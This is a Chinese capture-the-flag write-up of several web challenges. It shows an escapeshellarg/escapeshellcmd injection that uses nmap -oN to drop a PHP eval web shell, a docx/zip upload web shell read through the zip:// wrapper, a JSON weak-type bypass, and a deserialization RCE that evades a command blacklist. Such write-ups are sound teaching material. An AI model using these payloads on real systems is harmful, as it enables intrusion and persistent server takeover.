前言
本来是不打算写安恒杯决赛的writeup的,自己太渣了,并且被各位大师傅吊打的节奏,自己实在是好痛苦,可是事实就是这样,
自己就是很渣,简单记录一下题目的writeup,也算是我自己的一个总结。
你说不让看就不看
打开链接:http://192.168.43.21/,查看源代码就会得到,index.php.bak
直接访问:http://192.168.43.21/index.php.bak
得到源代码进行审计:
<?php
$user = isset($_GET['user']) ? $_GET['user'] : 'Guest';
$password = isset($_GET['password']) ? $_GET['password'] : '';
if($user == 'admin' && $password == 'showmetheflag'){
require '/flag.txt';
}else{
echo '您无权查看该内容!';
}
?>
由源代码提示,直接访问http://192.168.43.21/?user=admin&&password=showmetheflag
就可以得到答案:flag{0272c85a140e834c28925e29a64fa051}
在线工具
先看源码。
<?php
include("flag.php");
if(!isset($_GET['host'])){
highlight_file(__FILE__);
}else{
$host =(string)$_GET['host'];
$host=escapeshellarg($host);
$host=escapeshellcmd($host);
$sandbox = md5("dbapp".$_SERVER['REMOTE_ADDR']);
echo "you are in sandbox: ".$sandbox."<br/>";
@mkdir($sandbox);
chdir($sandbox);
echo "<pre>";
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
echo "</pre>";
}
两个重要函数
来看看官网给这两个函数的解释。
escapeshellarg http://www.php.net/manual/zh/function.escapeshellarg.php
将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,并且还是确保安全的。
对于用户输入的部分参数就应该使用这个函数。shell函数包含exec()[ http://php.net/manual/zh/function.exec.php]( http://php.net/manual/zh/function.exec.php)
,
system() [http://php.net/manual/zh/function.system.php](http://php.net/manual/zh/function.system.php)
和执行运算符
[http://php.net/manual/zh/language.operators.execution.php](http://php.net/manual/zh/language.operators.execution.php)
。
简单说来它的功能就是确保用户只传递一个参数给命令,用户不能指定更多的参数,用户不能执行不同的命令 。
escapeshellcmd [ http://php.net/manual/zh/function.escapeshellcmd.php]( http://php.net/manual/zh/function.escapeshellcmd.php)
对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到
exec() [http://php.net/manual/zh/function.exec.php](http://php.net/manual/zh/function.exec.php)
或system()[ http://php.net/manual/zh/function.system.php]( http://php.net/manual/zh/function.system.php)
函数,
或者执行运算符[http://php.net/manual/zh/language.operators.execution.php](http://php.net/manual/zh/language.operators.execution.php)
之前进行转义。
在转义过程中,反斜线会在以下字符之前插入:
& # ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ \x0A \xFF
而’和”仅在不配对的时候被转义,在 Windows 平台上,所有这些字符以及%和!字符都会被空格代替。
简单说来它的功能就是确保用户只执行一个命令,用户可以指定不限数量的参数,用户不能执行不同的命令。
一个简单结论
对于单个单引号,escapeshellarg函数转义后,还会在被转义字符的左右字符串各加一个单引号进行连接,
而escapeshellcmd函数是直接转义。对于成对的单引号,escapeshellcmd函数不转义,但escapeshellarg函数转义。
简单举一个栗子
<?php
$host = "127.0.0.1' -v -d a=1";
echo $host."</br>";
$host=escapeshellarg($host);
echo $host."</br>";
$host=escapeshellcmd($host);
echo $host."</br>";
?>
打印出的字符串如下。
127.0.0.1' -v -d a=1
'127.0.0.1'\'' -v -d a=1'
'127.0.0.1'\\'' -v -d a=1\'
分解一下,首先escapeshellarg函数先对单引号转义,再用单引号将原单引号左右两部分括起来从而起到连接的作用。
'127.0.0.1'\'' -v -d a=1'
然后escapeshellcmd函数对不成对单引号和反斜杠转义,即得到如下字符串。
'127.0.0.1'\\'' -v -d a=1\'
最终字符串被分割成三个部分。
'127.0.0.1'
\\
''
-v -d
a=1\'
但是如果是先用escapeshellcmd函数,再用的escapeshellarg函数,则不会发生这个问题。
赛后解题思路
再来看看题目。
<?php
include("flag.php");
if(!isset($_GET['host'])){
highlight_file(__FILE__);
}else{
$host =(string)$_GET['host'];
$host=escapeshellarg($host);
$host=escapeshellcmd($host);
$sandbox = md5("dbapp".$_SERVER['REMOTE_ADDR']);
echo "you are in sandbox: ".$sandbox."<br/>";
@mkdir($sandbox);
chdir($sandbox);
echo "<pre>";
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
echo "</pre>";
}
只需要在要执行的恶意代码两边加上分号即可绕过。
并且此处需要用到nmap的-oN指令,将标准输出直接写入指定的文件。
先上Payload。
<?php eval($_POST[1]);?> -oN shell.php
第一次先经过escapeshellarg函数,先对左右两边的单引号进行转义,然后分别对原单引号即现在斜杆加单引号的左右两边
再次加上单引号进行字符串连接,得到如下字符串。【为直观观看特意做了空格区分。
'' \' ' -oN shell.php ' \' ''
然后第二次使用escapeshellcmd函数,对斜杆和单个单引号进行转义。
'' \\ '' \<\?php eval\(\$_POST\[1\]\)\;\?\> -oN shell.php '\\' ''
那么最后可以看到字符串被单引号分割成了多份,而最终指令如下。
nmap -T5 -sT -Pn --host-timeout 2 -F '' \\ '' \<\?php eval\(\$_POST\[1\]\)\;\?\> -oN shell.php '\\' ''
删除不必要的东西之后得到如下指令。
nmap -T5 -sT -Pn --host-timeout 2 -F \<\?php eval\(\$_POST\[1\]\)\;\?\> -oN shell.php
即指令目的就是对<\?php和eval\(\$_POST\[1\]\)\;\?\>
;进行扫描,并将结果存入shell.php。
通过这一指令可以将shell写入,从而连上小马。
需要一提的是mac本地用的nmap7.70和php5.5.38版本没有复现成功,可能还有别的环境的问题。
放在自己的vps上用nmap7.01和php5.4.16成功复现了(QAQ)。
黑产了解一下?
似乎是QCTF XMAN选拔赛的题。
在交易市场有9999999买flag以及5000000买hint。
在抽奖界面抓包会发现发送了Json数据,直接用true绕过。【我赛后翻Writeup说是有一个git泄漏代码审计发现这个弱类型判断,但是比赛的时候好像没有扫到这个git泄漏Orz。
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
似乎没有办法把钱弄到9999999,那只好买hint,需要一提的是网页上的购买hint按钮是假的,点击没有反应,只好Burpsuite发包购买。
{"action":"hint"}
Post发送如上请求后返回一个admin pass isQWERTYUIOPASDFGHJKL
的字符串,应该是需要用这个pass的密码去注册admin账号,登陆后多了一个上传页面。
这儿只能上传doc和docx,测试后发现校验了后缀名、Mime、文件头。
且这里有一个文件包含,后缀会添加php。
然后由于doc和zip的文件头一样,因此构造一句话木马打包后,Burpsuite抓包修改后缀名和Mime类型上传,最后使用zip伪协议读取即可。
?page=zip://uploads/e65eee3bd3f975947e589d1e6ae279ccdf31fb3e.docx%23south
其中的south是小马的名字,以及这里需要一提的是uploads这个目录下的flag是假的,这里需要使用find命令来寻找flag,
最后是在/etc/flag
这个路径找到flag。
不知名的小站
这题在比赛的时候就发现了一个反序列化漏洞,但是没找到class方法,后来经过师傅们的提及说题目提示hint,hint.txt提示断电,
然后联想到.hint.txt.swp
,然后就有一个源码泄漏。
<?php
function verify($name,$location){
if(empty($name)){
die("<script =\"JavaScript\"> alert('请先登录!');self.location='$location';</script>");
}
}
class info{
public $name;
public $ages;
public $cmd;
public $black_str;
function say_name(){
echo $this->name;
}
function say_ages(){
echo $this->ages;
}
function safe($str){
$this->black_str = 'ls| |{I|;|%0a|cat|flag|find|&|<';
$check = eregi($this->black_str,$str);
return $check;
}
function __destruct(){
$check = $this->safe($this->cmd);
if($check){
die("<script language=\"JavaScript\"> alert('您的内容含有字符非法!'); self.location='./index.php'; </script> ");
}
@system($this->cmd);
}
}
?>
然后在注册登陆后抓包可以看到POST了一个反序列化的字符串上去。
O:4:"info":4:{s:4:"name";s:5:"admin";s:4:"ages";s:2:"12";s:3:"cmd";N;s:9:"black_str";N;}
根据源码泄漏构造绕过,eregi可以使用%00截断绕过,其他内容和些许不足有错误遗漏的地方由于赛后秒题环境缺失无法复现,
因此不能详细补充纠正这篇文章Orz。
参考资料: